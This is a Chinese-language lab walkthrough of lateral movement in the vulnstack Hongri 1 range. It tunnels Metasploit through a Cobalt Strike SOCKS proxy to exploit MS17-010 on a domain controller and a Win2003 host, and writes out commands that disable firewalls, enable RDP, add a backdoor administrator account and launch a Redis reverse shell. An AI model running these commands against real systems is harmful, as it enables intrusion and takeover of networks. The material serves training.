万字讲解内网横向渗透vulnstack(一):红日靶场1实战全流程2-横向移动-永恒之蓝法(CVE-2017-0143)

目录

[一、Cobalt Strike代理转发功能](#一、Cobalt Strike代理转发功能)

1、工作原理

2、正向代理

二、内网漏洞探测

1、FSCAN扫描

(1)上传fscan

(2)运行fscan

(3)端口分析

[① 192.168.52.141](#① 192.168.52.141)

[② 192.168.52.138](#② 192.168.52.138)

(4)漏洞分析

[① 192.168.52.141](#① 192.168.52.141)

[② 192.168.52.138](#② 192.168.52.138)

2、ms17-010探测

三、配置代理

[1、Cobalt Strike开启代理转发](#1、Cobalt Strike开启代理转发)

2、跳板机查看代理转发

四、Nmap探测

1、proxychain配置使用代理

2、Nmap探测域控

(1)普通探测

(2)-Pn参数探测

(3)详解原理

[① 请求路径 (Outbound Request)](#① 请求路径 (Outbound Request))

[② 返回路径 (Inbound Response)](#② 返回路径 (Inbound Response))

五、域控永恒之蓝渗透

1、MSF配置使用代理

(1)命令含义

(2)原理详解

[① 流量发起](#① 流量发起)

[② 代理路由](#② 代理路由)

[(3)与 Proxychains 的对比](#(3)与 Proxychains 的对比)

2、ms17-010漏洞探测

3、关闭域控防火墙

[(1) 查看域控fw状态](#(1) 查看域控fw状态)

[(2) MSF执行关闭fw命令](#(2) MSF执行关闭fw命令)

(3)查看关闭fw效果

4、域控ms17-010漏洞利用

六、Win2003永恒之蓝渗透

1、漏洞探测

2、查询信息

[(1)net view](#(1)net view)

(2)whoami

(3)密码策略

3、开启远程桌面

4、关闭防火墙

5、远程桌面连接(管理员账户登录)

6、远程桌面新添加用户登录

(1)添加普通账户

(2)查看新账户是否添加成功

(3)新账户加入管理员组

(4)查看管理员组是否加入成功

(5)远程登陆新账户

[① rdesktop](#① rdesktop)

[② xfreerdp](#② xfreerdp)


本文通过红日靶场1的实战演练,详细讲解了基于CobaltStrike代理和MSF框架的永恒之蓝漏洞利用技术。首先利用CobaltStrike建立SOCKS代理隧道,将外网流量转发至内网跳板机。然后使用FSCAN和Ladon工具扫描内网,发现多台主机存在MS17-010漏洞(CVE-2017-0143)。重点演示了如何通过代理配置MSF框架,利用永恒之蓝漏洞攻陷域控服务器和Win2003主机,包括关闭防火墙、开启远程桌面等操作,最终实现内网横向移动。整个攻击过程通过代理转发隐藏真实IP,展现了典型的内网渗透技术链。

一、Cobalt Strike代理转发功能

Cobalt Strike 的代理转发功能是一个内置于团队服务器的 SOCKS 代理服务器 。它的核心目的是将攻击者的网络流量,通过已建立的 Beacon 会话,路由到目标内网

1、工作原理

  • 服务端组件:该功能在团队服务器上运行,监听一个指定的端口(如配置为12347)。这个端口就是一个标准的 SOCKS4/5 代理服务端口。

  • 依赖 Beacon 中继 :这个代理服务器本身并不能直接访问目标网络。它必须与一个或多个已上线的 Beacon 配合工作。Beacon 作为在跳板机系统上的植入体,充当了流量转发的最终执行者和 出口节点

  • 流量隧道 :当攻击者将工具的流量指向此 SOCKS 代理端口时,团队服务器会将这些网络请求(如 TCP 连接)封装在 Beacon 的 C2 通信协议中(例如 HTTPS 或 HTTP),然后通过加密信道发送给指定的 Beacon。

  • Beacon 执行 :Beacon 收到这些被封装的网络请求后,会在其所在的主机上原生地执行这些请求(例如建立一条到内网其他主机的 TCP 连接)。最终,扫描或访问的结果会沿着原路(Beacon → 团队服务器 → SOCKS 代理 → 攻击者工具)返回。

总结来说,Cobalt Strike 的代理转发功能本质上是建立了一条从攻击者工具到目标内网的、经过团队服务器和 Beacon 中继的加密通信隧道,使得攻击者能够直接从内网视角发起网络操作。

2、正向代理

Cobalt Strike 的这个代理功能是一个典型的 正向代理,因为它明确代表客户端(攻击者)发起请求。攻击者主动配置工具连接该代理,由代理服务器通过Beacon隧道在内网执行扫描操作。目标系统看到的流量源是内网Beacon主机,从而完美隐藏了攻击者的真实身份和位置。这与为用户提供匿名访问的正向代理原理完全一致,而非为服务器服务的反向代理模式。

类型 角色 典型场景 Cobalt Strike 场景类比
正向代理 代表客户端(攻击者) 向服务器(内网目标)发起请求。它隐藏了客户端的身份。 公司员工通过代理服务器上网。代理代表员工去访问网站,网站看不到员工的真实IP。 攻击者 主动配置工具使用CS的SOCKS代理。代理代表攻击者去扫描内网,内网目标看到的是Beacon主机的IP,而不是攻击者的IP。
反向代理 代表服务器 接收客户端的请求。它隐藏了服务器的身份和位置。 网站使用CDN或负载均衡器。用户访问CDN的IP,CDN将请求转发给后端的真实服务器。 不适用此场景。CS代理不是用来接收来自互联网的请求并转发给隐藏的Beacon的。

二、内网漏洞探测

1、FSCAN扫描

fscan是一款专注于内网安全的开源渗透扫描工具,以轻量高效著称。它集成了主机发现、端口扫描、服务爆破和常见漏洞检测等多种功能,支持一键自动化信息收集。其最大特点是执行速度快、命令简单,能快速梳理内网资产并识别脆弱点,是红队操作中进行内网横向移动和资产梳理的常用利器。其常用参数如下所示。

复制代码
目标指定参数
-h - 指定目标IP/IP段/域名,支持CIDR格式和范围
-hf - 从文件读取目标列表
-pn - 指定端口范围,如1-1000,3389
-pa - 指定UDP端口扫描

扫描模式参数
-m - 指定扫描模块,如ssh,ftp,mysql,web等
-np - 跳过主机存活检测(禁ping目标)
-poc - 自定义POC模块
-nopoc - 跳过漏洞检测,只端口扫描

性能控制参数
-t - 设置并发线程数
-time - 设置超时时间(秒)
-debug - 调试模式显示详细过程

输出参数
-o - 指定结果输出文件
-csv - 以CSV格式输出

(1)上传fscan

在已经上线的跳板机System会话中,使用插件进行Fscan上传,具体步骤如下所示。

上传路径中写fscan文件的路径,具体如下所示。 如上图的命令行结果所示,fscan上传成功,接下来我们可以用fscan执行命令。

(2)运行fscan

使用fscan ****.exe进行内网主机名探测,网段填写内网192.168.52.138,192.168.52.141,如下所示。

复制代码
fscan.exe -h 192.168.52.138,192.168.52.141 -o out.txt

使用fscan工具对IP地址192.168.52.138和192.168.52.141进行综合漏洞扫描,扫描结果将自动保存到out.txt文件中,-h参数指定目标主机,-o参数定义输出文件,用于快速评估目标系统的安全状况和暴露面。

我们针对两个最关键目标 192.168.52.138 (域控制器) 和 192.168.52.141 (最脆弱的服务器) 的精准深度扫描,发现**两者均存在一条可直达系统内核的致命漏洞(MS17-010),**详细结果如下所示。

复制代码
[09/30 23:24:35] [+] =========== 运行 Fscan ==========
[09/30 23:24:35] [*] Fscan
[09/30 23:24:35] [*] fscan.exe -h 192.168.1.1/24                                    (默认使用全部模块)
[09/30 23:24:35] [*] fscan.exe -h 192.168.1.1/16                                    (B段扫描)
[09/30 23:24:35] [*] 其他用法:
[09/30 23:24:35] [*] fscan.exe -h 192.168.1.1/24 -np -no -nopoc                     (跳过存活检测、不保存文件、跳过web poc扫描)
[09/30 23:24:35] [*] fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub                     (redis 写公钥)
[09/30 23:24:35] [*] fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666               (redis 计划任务反弹shell)
[09/30 23:24:35] [*] fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt     (加载指定文件的用户名、密码来进行爆破)
[09/30 23:24:35] [*] fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt                      (指定扫描结果保存路径,默认保存在当前路径)
[09/30 23:24:35] [*] fscan.exe -h 192.168.1.1/8                                     (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息)
[09/30 23:24:35] [*] fscan.exe -h 192.168.1.1/24 -m smb -pwd password               (smb密码碰撞)
[09/30 23:24:35] [*] fscan.exe -h 192.168.1.1/24 -c whoami                          (ssh 爆破成功后,命令执行)
[09/30 23:24:35] [*] fscan.exe -h 192.168.1.1/24 -m ssh -p 2222                     (指定模块ssh和端口)
[09/30 23:24:35] [*] fscan.exe -h 192.168.1.1/24 -m ms17010                         (指定模块)
[09/30 23:24:35] [*] fscan.exe -h 192.0.0.0/8 -m icmp                               (探测每个C段的网关和数个随机IP,并统计top 10 B、C段存活数量)
[09/30 23:24:35] [*]  
[09/30 23:24:35] [*] fscan.exe -h      (查看完整使用方法)
[09/30 23:25:10] [*] Tasked beacon to run: fscan.exe -h 192.168.52.138,192.168.52.141 -o out.txt
[09/30 23:25:10] [+] host called home, sent: 71 bytes
[09/30 23:25:22] [+] received output:

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.6.3
start infoscan
(icmp) Target '192.168.52.138' is alive
(icmp) Target '192.168.52.141' is alive
icmp alive hosts len is: 2
192.168.52.141:21 open
192.168.52.141:8098 open
192.168.52.141:7002 open
192.168.52.138:88 open
192.168.52.141:7001 open
192.168.52.141:445 open
192.168.52.141:139 open
192.168.52.138:445 open
192.168.52.138:139 open
192.168.52.141:135 open
192.168.52.138:135 open
192.168.52.138:80 open
192.168.52.141:8099 open
alive ports len is: 13
start vulscan
NetInfo:
[*]192.168.52.138
   [->]owa
   [->]192.168.52.138
[*] 192.168.52.141       GOD\SNTL_ROOT-TVI86   
[*] WebTitle:http://192.168.52.141:7002 code:200 len:2632   title:Sentinel Keys License Monitor
[+] 192.168.52.138	MS17-010	(Windows Server 2008 R2 Datacenter 7601 Service Pack 1)
[*] 192.168.52.138 [+]DC GOD\OWA               Windows Server 2008 R2 Datacenter 7601 Service Pack 1
NetInfo:
[*]192.168.52.141
   [->]root-tvi862ubeh
   [->]192.168.52.141
[+] 192.168.52.141	MS17-010	(Windows Server 2003 3790)
[+] ftp://192.168.52.141:21:anonymous 
[*] WebTitle:http://192.168.52.141:8099 code:403 len:1409   title:The page must be viewed over a secure channel
[*] WebTitle:http://192.168.52.138     code:200 len:4      title:IIS7

[09/30 23:25:23] [+] received output:
宸插畬鎴� 15/15
scan end

(3)端口分析

分析端口开放情况,总结就是"主机端口开放少而精",全是核心服务端口。攻击面相对单一但极其致命,主要集中在SMB协议(445) 上。这是一台典型的重型堡垒,正面强攻的唯一大门就是445端口。

192.168.52.141

开放端口21, 135, 139, 445, 7001, 7002, 8098, 8099

  • 高风险端口群 (SMB):

    • 135, 139, 445SMB/RPC 服务端口 。这是MS17-010漏洞的攻击入口。开放这些端口意味着攻击面暴露。
  • 极高风险服务端口:

    • 21 (FTP)匿名访问 。这是配置错误类漏洞,允许攻击者无需认证即可连接,尝试文件上传/下载,是独立的攻击向量。
  • Web应用端口群:

    • 7002Sentinel Keys License Monitor 。这是一个已知的、历史存在高危漏洞的第三方服务,是Web层面的重点攻击对象。

    • 8099: 强制HTTPS的未知服务,需进一步探测 https

    • 8098, 7001: 未知服务,是潜在的隐藏攻击面

端口分析结论 : 该主机端口开放多,攻击面广。不仅存在系统级攻击入口(445) ,还存在应用级攻击入口(21, 7002)未知攻击入口(8098, 8099, 7001),提供了多重攻击路径。

192.168.52.138

开放端口80, 88, 135, 139, 445

  • 核心域服务端口:

    • 88 (Kerberos): 域身份验证核心服务。在获取凭证后用于黄金票据攻击。

    • 135, 139, 445SMB/RPC 服务端口 。同样是MS17-010的攻击入口 ,也是横向移动时Pass-The-Hash的攻击目标。

  • Web服务端口:

    • 80 (HTTP): 默认IIS7页面。攻击价值较低,但需排查是否存在隐藏目录或应用。

(4)漏洞分析

192.168.52.141
  • 【漏洞名称】: MS17-010 (EternalBlue)

    • 类型远程代码执行 (RCE)

    • 攻击复杂度: 低。武器化工具成熟。

    • 所需权限: 无。无需任何身份验证。

    • 影响 : 直接获取 SYSTEM 级别权限。

    • 利用条件: SMBv1 服务可访问(端口445开放)。

  • 【漏洞名称】: 匿名FTP访问

    • 类型配置错误 / 权限提升

    • 攻击复杂度: 极低。

    • 所需权限: 无。

    • 影响: 可能导致信息泄露、WebShell上传,从而获得Web权限。

    • 利用条件: FTP服务允许匿名登录。

  • 【潜在漏洞】: Sentinel Keys License Monitor 未知漏洞

    • 类型应用层RCE / 权限绕过 (需进一步探测)。

    • 攻击复杂度: 中(需要特定EXP)。

    • 影响: 可能直接获取系统权限或应用权限。

漏洞分析结论 : 141提供了 "漏洞三选一" 的富裕攻击方案。MS17-010是主攻武器,匿名FTP和Sentinel服务是备选的侧翼攻击通道。

192.168.52.138
  • 【漏洞名称】: MS17-010 (EternalBlue)

    • 类型远程代码执行 (RCE)

    • 攻击复杂度: 低。

    • 所需权限: 无。

    • 影响灾难性 。直接获取域控制器的 SYSTEM 权限,等同于完全控制整个域

    • 利用条件: SMBv1 服务可访问(端口445开放)。

漏洞分析结论 : 138的漏洞态势简单而残酷:一个漏洞,一招制胜。MS17-010的存在使得所有复杂的域渗透技巧都变得多余。

2、ms17-010探测

使用命令Ladon.exe 192.168.52.0/24 MS17010在内网 192.168.52.0/24 网段中,针对 永恒之蓝( EternalBlue 漏洞(MS17-010)的专项扫描, 运行结果如下所示。

扫描发现了4台在线主机,其中3台存在MS17-010漏洞,详细结果如下所示。

复制代码
[09/30 23:47:51] [+] -------------------------------------------------------------MS17010探测------------------------------------------------------------
[09/30 23:48:11] [*] Tasked beacon to run .NET program: Ladon.exe 192.168.52.0/24 MS17010
[09/30 23:48:11] [+] host called home, sent: 989273 bytes
[09/30 23:51:36] [+] received output:
Ladon 6.6
Start: 2025/9/30 23:51:00
Runtime: .net 4.0  OS Arch: x64

[09/30 23:51:38] [+] received output:
OS Name: Microsoft Windows 7 专业版 
192.168.52.0/24
load MS17010
192.168.52.0/24 is Valid CIDR

[09/30 23:51:39] [+] received output:
IPCound: 256
Scan Start: 2025/9/30 23:51:03

[09/30 23:51:46] [+] received output:
192.168.52.1 DESKTOP-BKAQPQQ

[09/30 23:52:00] [+] received output:
192.168.52.138 MS17-010 OWA god.org [Win 2008 R2 Datacenter 7601 SP 1]
192.168.52.141 MS17-010 ROOT-TVI862UBEH god.org [Win 2003 3790]
192.168.52.143 MS17-010 STU1 god.org [Win 7 Professional 7601 SP 1]

[09/30 23:52:03] [+] received output:
=============================================
OnlinePC:4
Cidr Scan Finished!
End: 2025/9/30 23:51:30

以下是对该MS17010扫描结果的表格化分析,其中137、141、138共3台内网设备均有ms17-010漏洞。

IP地址 主机名 域名 操作系统 MS17-010漏洞 风险等级 攻击价值与备注
192.168.52.1 DESKTOP-BKAQPQQ (WORKGROUP) 未知 不存在 非域成员,可能是网关或多宿主主机。非优先攻击目标。
192.168.52.138 OWA god.org Windows 2008 R2 Datacenter SP1 存在 极高 域控制器 。攻陷此目标等同于完全控制整个god.org域,是终极攻击目标。
192.168.52.141 ROOT-TVI862UBEH god.org Windows Server 2003 存在 极高 最脆弱的系统 。古老的系统,利用成功率高,是建立初始立足点的完美跳板
192.168.52.143 STU1 god.org Windows 7 Professional SP1 存在 域内客户端。可作为横向移动的中间节点,用于窃取用户数据或作为备用控制点。

三、配置代理

1、Cobalt Strike开启代理转发

我们希望在Cobalt Strike 团队服务器上创建了一个 **SOCKS4 代理服务器,**在已上线的跳板机CS中,选中system会话右键代理转发-socks代理,如下图所示。

这里配置端口为12347,代表在CS服务器上开启端口12347的监听,这样任何发送到团队服务器 12347 端口的网络流量,都会被 Cobalt Strike 通过其与 Beacon 之间的加密 C2 信道( HTTPS、HTTP 等)转发给跳板机的 Beacon ,并由该 Beacon 代为执行。配置如下图所示。

执行成功后,跳板机就变成了一个SOCKS代理服务器,等待接收来自攻击机Kali的代理请求。

2、跳板机查看代理转发

可以通过菜单栏的"视图-代理转发"查看此代理,具体如下所示。

点击隧道,复制命令:setg Proxies socks4:192.168.59.128:12347。

复制代码
setg Proxies socks4:192.168.59.128:12347

四、Nmap探测

1、proxychain配置使用代理

在 Kali 攻击机器修改 /etc/proxychains4.conf 文件,添加一行:socks4 127.0.0.1 12347

复制代码
socks4 127.0.0.1 12347

这告诉 proxychains:"请将我指定的所有网络流量,都转发到本机127.0.0.112347 端口。具体配置如下所示。

这样当使用 proxychains 运行一个工具(如 proxychains nmap -sT 192.168.52.0/24)时:

  • proxychains 会拦截该工具产生的所有网络请求。

  • 按照配置,proxychains会将这些请求封装成 SOCKS4 协议格式 ,然后发送给 127.0.0.1:12347

2、Nmap探测域控

(1)普通探测

第一次使用proxychains nmap 192.168.52.138没有返回结果,提示机器可能down掉,建议增加 --Pn,效果如下所示。

正常情况下的 nmap 工作流程:

  1. 先发送ping包探测主机是否在线
  2. 如果主机在线,才进行端口扫描
  3. 如果主机不在线,就跳过扫描

使用 -Pn 后的工作流程:

  1. 跳过ping检测,不管目标是否响应ping
  2. 强制进行端口扫描,直接把目标当作在线主机处理

(2)-Pn参数探测

将命令改为proxychains nmap 192.168.52.138 -Pn 强制对 IP 地址 192.168.52.138 进行端口扫描,即使目标主机不响应 Ping 请求也会直接扫描其端口。

(3)详解原理

proxychains nmap 192.168.52.138 -Pn 命令的含义是通过proxychains 代理,扫描内网中 IP 为 192.168.52.138 的主机,并跳过主机发现(-Pn)直接进行端口扫描。其完整的端到端数据流转发路径如下图所示:

复制代码
flowchart LR
    subgraph Attacker[攻击者机器 Kali]
        N[Nmap]
        P[proxychains]
    end

    subgraph C2[Cobalt Strike 团队服务器]
        S[SOCKS4 Proxy<br>12347端口]
    end

    subgraph Internal[目标内网]
        B[被控跳板机<br>Beacon]
        T[扫描目标<br>192.168.52.138]
    end

    N -- "1. 生成扫描包<br>SYN to 192.168.52.138" --> P
    P -- "2. SOCKS4封装<br>转发至127.0.0.1:12347" --> S
    S -- "3. Task & Data<br>通过C2信道下发" --> B
    B -- "4. 原生SYN包<br>从内网发出" --> T
    T -- "5. SYN-ACK响应<br>返回给Beacon" --> B
    B -- "6. Response Data<br>通过C2信道回传" --> S
    S -- "7. SOCKS响应<br>返回给proxychains" --> P
    P -- "8. 解包后<br>呈现给Nmap" --> N

下面是每个步骤的详细分解:

请求路径 (Outbound Request)
  • Nmap 生成扫描包:

    • 您在 Kali 终端输入 proxychains nmap 192.168.52.138 -Pn

    • Nmap 进程启动,并根据参数生成原始的 TCP SYN 扫描数据包,目标地址是 192.168.52.138

  • Proxychains 拦截与封装:

    • proxychains 通过 LD_PRELOAD 机制拦截了 Nmap 发出的网络连接请求。

    • 它将该请求按照 SOCKS4 协议 进行封装,并转发到 127.0.0.1:12347。本质上,它向这个端口发送了一条指令:"请帮我建立一个到 192.168.52.138:80 (举例) 的 TCP 连接"。

  • CS SOCKS 服务器接收与处理:

    • Cobalt Strike 团队服务器上的 SOCKS 服务(监听 12347)收到该指令。

    • 团队服务器将这个"建立连接"的请求,转换为一个 Beacon 任务,并通过加密的 C2 信道 (如 HTTPS)下发给内网的 Beacon

  • Beacon 执行扫描: Beacon 收到任务后,在其所在的受害主机(跳板机)上,以其网络身份原生地 创建一个 TCP SYN 包,发送给内网目标 192.168.52.138 的指定端口。

返回路径 (Inbound Response)
  • 目标主机响应:

    • 目标 192.168.52.138 收到 SYN 包后,如果端口开放,会回复一个 SYN-ACK 包。

    • 这个回复包的目的地是 Beacon 主机 的 IP 地址,因为请求是从它那里发来的。

  • Beacon 回传数据:

    • Beacon 主机收到来自目标的 SYN-ACK 包。

    • Beacon 将这个响应数据("端口开放")作为任务结果,通过反向的、加密的 C2 信道 回传给团队服务器。

  • CS SOCKS 服务器转发响应:

    • 团队服务器收到 Beacon 返回的数据后,将其转换为 SOCKS 协议响应 ,并通过之前建立的 12347 端口的连接,发回给等待中的 proxychains 进程。
  • Proxychains 交付结果:

    • proxychains 收到响应,将其解包,然后递交给 Nmap 进程。

    • Nmap 接收到 SYN-ACK,从而判断该端口是开放的。

五、域控永恒之蓝渗透

1、MSF配置使用代理

输入msfconsole

输入setg Proxies socks4:192.168.59.128:12347

(1)命令含义

在Metasploit框架中全局设置SOCKS4代理,使所有后续攻击流量均通过IP为192.168.59.128、端口12347的代理服务器进行转发,实现隐藏真实源地址、内网穿透和横向移动的目的,常用于绕过网络隔离策略或通过跳板机访问受限网络环境。

  • setg : 表示 set global,即设置一个全局参数。所有后续启动的模块都会继承这个配置。

  • Proxies: Metasploit 内置参数,用于设置代理。

  • socks4:192.168.59.128:12347: 这是代理协议的格式。

    • socks4: 指定代理协议类型。

    • 192.168.59.128: 这是运行着 Cobalt Strike 团队服务器并开启了 SOCKS 代理服务的主机 IP。

    • 12347: Cobalt Strike SOCKS 代理服务的监听端口。

(2)原理详解

setg Proxies socks4:192.168.59.128:12347命令在 MSF 和 CS 之间建立了一条代理链,其完整的数据流路径如下

下面我们来详细分解图中的数据流转过程:

流量发起

在 MSF 中执行任何需要与目标网络通信的操作时,例如:

  • 使用auxiliary/admin/smb/ms17_010_command 进行smb命令执行。

  • 使用 exploit/windows/smb/psexec 模块,并且其 payload (如 windows/meterpreter/bind_tcp) 需要连接回目标。

代理路由
  • MSF 不会直接将数据包发送到目标 IP,而是根据 Proxies 设置,将所有流量发往 192.168.59.128:12347

  • 接下来的路径就与 proxychains 完全一样了:

    • Cobalt Strike 团队服务器接收流量,通过加密 C2 信道转发给内网的 Beacon。

    • Beacon 在目标内网中代为执行真正的网络操作(扫描、建立连接等)。

会话建立(关键区别)

  • 当利用模块成功,并且 payload(例如一个 Meterpreter shell)在目标上执行时,这个 payload 会尝试连接回 Beacon 跳板机,因为它是实际的流量发起者。

  • 然后,这个连接会通过跳板机Beacon → 团队服务器 → SOCKS 代理 → 最终到达您的 MSF 框架,从而建立一个完整的 Meterpreter 会话。

(3)与 Proxychains 的对比

特性 proxychains + 工具 setg Proxies in MSF
作用对象 系统上任何支持 TCP 的命令行工具 (nmap, curl等) 仅限 Metasploit Framework 内部的模块和 payload
实现层面 系统库级别 (LD_PRELOAD) 应用框架级别
使用便捷性 需要在每个命令前加 proxychains 一次性设置,对所有模块生效
功能范围 主要转发工具的扫描/连接流量 能转发整个攻击链 流量,包括漏洞利用后的payload回连

总结: setg Proxies 是将 Metasploit 这个庞大的攻击框架本身"嫁接"到了 Cobalt Strike 的横向渗透能力上,使得 MSF 的所有操作都像是从内网被控主机发起的,极大地扩展了在目标内网中的攻击半径。

2、ms17-010漏洞探测

复制代码
search ms17-010
use 3
set rhosts 192.168.52.138
run

3、关闭域控防火墙

(1) 查看域控fw状态

关闭防火墙前,查看下域控机器防火墙的配置,如下所示当前域控防火墙处于开启状态。

(2) MSF执行关闭fw命令

MSF执行关闭防火墙命令,如下所示。

复制代码
use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.138
set command netsh advfirewall set allprofiles state off
run

运行结果如下所示,其实已经关闭成功了。

(3)查看关闭fw效果

4、域控ms17-010漏洞利用

使用Metasploit框架对目标192.168.52.138发起基于永恒之蓝漏洞的远程攻击。通过MS17-010漏洞利用模块建立SMB连接,并在目标系统执行指定的Bind TCP载荷。与反向连接不同,Bind TCP会在目标系统开启指定端口等待连接,随后攻击者主动连接该端口获取Meterpreter会话。此方式常在内网渗透中用于规避防火墙出站限制,直接在被控主机上绑定服务端口建立控制通道。

复制代码
use exploit/windows/smb/ms17_010_psexec
set RHOSTS 192.168.52.138
set payload windows/x64/meterpreter/bind_tcp
exploit

查看options如下所示,注意这里payload选择的是bind_tcp。

如下所示,msf成功获得DC域控的控制权。

六、Win2003永恒之蓝渗透

1、漏洞探测

使用Metasploit的MS17-010漏洞扫描模块对目标192.168.52.138进行安全检测。通过向目标445端口发送特制SMB数据包,根据返回响应判断系统是否存在永恒之蓝漏洞。整个过程为无损探测,不会对目标系统造成破坏,仅提供"存在漏洞"、"已修复"或"无法检测"三种明确状态,是渗透测试中评估内网主机安全性的标准初始操作。

复制代码
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.52.138
exploit

2、查询信息

(1)net view

net view 是 Windows 系统的内置网络命令,主要用于浏览本地网络环境中的共享资源。执行后会列出当前域或工作组中所有在线的计算机名称,帮助用户快速发现网络邻居。该命令是内网渗透中关键的信息收集手段,攻击者常用它来绘制网络拓扑、定位文件服务器和域控制器等高价值目标,为后续横向移动提供情报支持。

(2)whoami

查看用户权限,如下所示这是个system最高权限的用户。

复制代码
use auxiliary/admin/smb/ms17_010_command
set RHOSTS 192.168.52.141
set command whoami

(3)密码策略

net accounts是Windows系统的本地安全策略查看命令,用于显示或修改当前计算机的密码和账户锁定策略。执行后会返回密码最短/最长使用期限、最小长度、密码历史保留数以及账户锁定阈值和时长等关键安全配置。

复制代码
use auxiliary/admin/smb/ms17_010_command
set RHOSTS 192.168.52.141
set command "net accounts"
run

根据该密码策略分析,系统采用了相对宽松但具备基本安全要求的安全配置:密码复杂度要求最低7位字符并保留24个历史密码以防止重复使用,同时设置了1天的最短密码有效期和42天的强制更换周期以平衡安全性与可用性。账户锁定机制虽配置了30分钟的锁定观察窗口和持续时间,但由于锁定阈值为"从不"实际上禁用了账户锁定功能,这意味着暴力破解攻击难以被自动阻止。

3、开启远程桌面

接下来执行开启远程桌面的命令,使用注册表功能,命令如下所示,含义是"在系统注册表中,将'是否拒绝远程桌面连接'这一选项的值设置为'0'(否),也就是强制启用远程桌面功能。"

复制代码
set RHOSTS 192.168.52.141
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'

这是一个用于 启用 Windows 远程桌面服务 的注册表命令。下面详细分解其含义和作用:

部分 含义 解释
REG ADD 注册表添加命令 用于向 Windows 注册表添加或修改一个键值。
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server 注册表路径 这是控制 Windows 终端服务(即远程桌面)的核心注册表项。 HKLM = HKEY_LOCAL_MACHINE(本地机器根键)。
/v fDenyTSConnections 值名称 要修改的特定值的名称。 fDenyTSConnections 意为 "拒绝终端服务连接"。
/t REG_DWORD 数据类型 指定要设置的值的数据类型为 REG_DWORD(32位数字)。
/d 00000000 数据 要设置的实际数据。 00000000 = 0 (启用远程桌面) 00000001 = 1(禁用远程桌面)
/f 强制选项 强制覆盖现有值,不显示确认提示

该命令通过修改注册表强制启用Windows远程桌面服务。它在系统注册表路径下,将控制远程桌面连接的核心键值fDenyTSConnections设置为0,从而立即开启RDP功能。这是渗透测试中建立图形化持久化访问的常用手段,无需重启即可为攻击者打开3389端口的远程控制通道。执行效果如下所示。

4、关闭防火墙

(1)netsh advfirewall set allprofiles state off

通过netsh工具关闭Windows系统所有配置文件(域、专用、公用)的防火墙功能,立即消除所有网络端口的访问限制。这是渗透测试中为后续扫描、横向移动和持久化操作扫清障碍的常见手段,能彻底解除系统的网络层防护,但会触发安全日志并暴露行踪。

复制代码
set command netsh advfirewall set allprofiles state off

(2)sc stop sharedaccess

如上所示,命令执行失败。这个命令在 Windows Server 2003 上不好用的主要原因在于 netsh advfirewall 组件在 Windows Server 2003 上根本不存在netsh advfirewall(高级安全防火墙)是从 Windows Vista 和 Windows Server 2008 开始引入的全新防火墙管理架构。而 Windows Server 2003 及更早的系统使用的是旧版的 Windows 防火墙ICF。对于 Windows Server 2003,需要使用其对应的旧版防火墙命令来达到同样目的,具体如下所示。

复制代码
set command sc stop sharedaccess

sc stop sharedaccess使用 Windows 服务控制器(Service Controller)来强制停止 Internet 连接防火墙(ICF)和 Internet 连接共享(ICS)服务的命令,用于立即关闭 Windows Server 2003 的防火墙功能。sharedaccess 服务对应如下内容

  • Internet Connection Firewall (ICF) - Windows 2003 内置防火墙

  • Internet Connection Sharing (ICS) - Internet 连接共享功能

(3)sc query sharedaccess

sc query sharedaccess 用于查询 Internet 连接防火墙和连接共享服务当前运行状态的管理命令,它可以显示该服务是否正在运行、启动类型以及进程ID等详细信息,帮助管理员准确了解 Windows Server 2003 防火墙服务的实际状态。

复制代码
set command sc query sharedaccess

根据 sc query sharedaccess 的运行结果分析,Windows Server 2003 的防火墙服务已经完全关闭且处于停止状态, 代表所有网络端口都已开放,无任何过滤保护**。**

  • STATE : 1 STOPPED - 明确显示服务已停止。

  • NOT_STOPPABLE - 无法再次停止(因为已经停止)

  • NOT_PAUSABLE - 不支持暂停功能

  • IGNORES_SHUTDOWN - 忽略系统关机指令

  • WIN32_EXIT_CODE : 1077 - 服务未启动的标准退出代码

5、远程桌面连接(管理员账户登录)

通过proxychains代理隧道,使用rdesktop客户端远程连接192.168.52.141的Windows主机,并以管理员账户Administrator及对应密码进行认证登录。此举将RDP图形化访问流量全部经由socks代理转发,有效隐藏攻击者真实源IP,实现从内网跳板机发起的隐蔽远程控制,为后续横向移动提供可视化操作界面。

复制代码
proxychains rdesktop 192.168.52.141 -u Administrator -p hongrisec@2025

6、远程桌面新添加用户登录

(1)添加普通账户

复制代码
use auxiliary/admin/smb/ms17_010_command
set RHOSTS 192.168.52.141
set command net user ljn P@ssw0rd123 /add

(2)查看新账户是否添加成功

查看是否新建用户ljn成功,如下所示创建成功。

复制代码
set command net user
run

(3)新账户加入管理员组

复制代码
set command net localgroup administrators ljn /add
run

(4)查看管理员组是否加入成功

复制代码
set command net user ljn

(5)远程登陆新账户

① rdesktop

proxychains rdesktop 192.168.52.141 -u ljn -p P@ssw0rd123命令开启对win2003靶机的远程登录。

默认会登录到god域,具体如下所示,这需要手动修改登录域并重新输入密码,需要修改为登录到IUSR_ROOT-TVI862UBEH才能登陆成功。

于是我们修改开启远程桌面的命令,让其登录到IUSR_ROOT-TVI862UBEH,新的命令如下所示。

proxychains rdesktop 192.168.52.141 -u "ROOT-TVI862UBEH\ljn" -p P@ssw0rd123 -g 1024x768

通过proxychains代理隧道建立到目标主机192.168.52.141的远程桌面连接,使用"ROOT-TVI862UBEH\ljn"格式明确指定本地用户身份进行认证,有效规避域登录冲突。通过-g参数将远程会话分辨率设置为1024x768,在保证操作体验的同时优化网络传输效率。整个过程将RDP图形流量全部经由SOCKS代理转发,实现攻击源IP隐藏和基于内网跳板的隐蔽图形化控制。

② xfreerdp

proxychains xfreerdp /v:192.168.52.141 /u:ljn /p:P@ssw0rd123命令默认会登录到god域,具体如下所示,这需要手动修改登录域并重新输入域名。

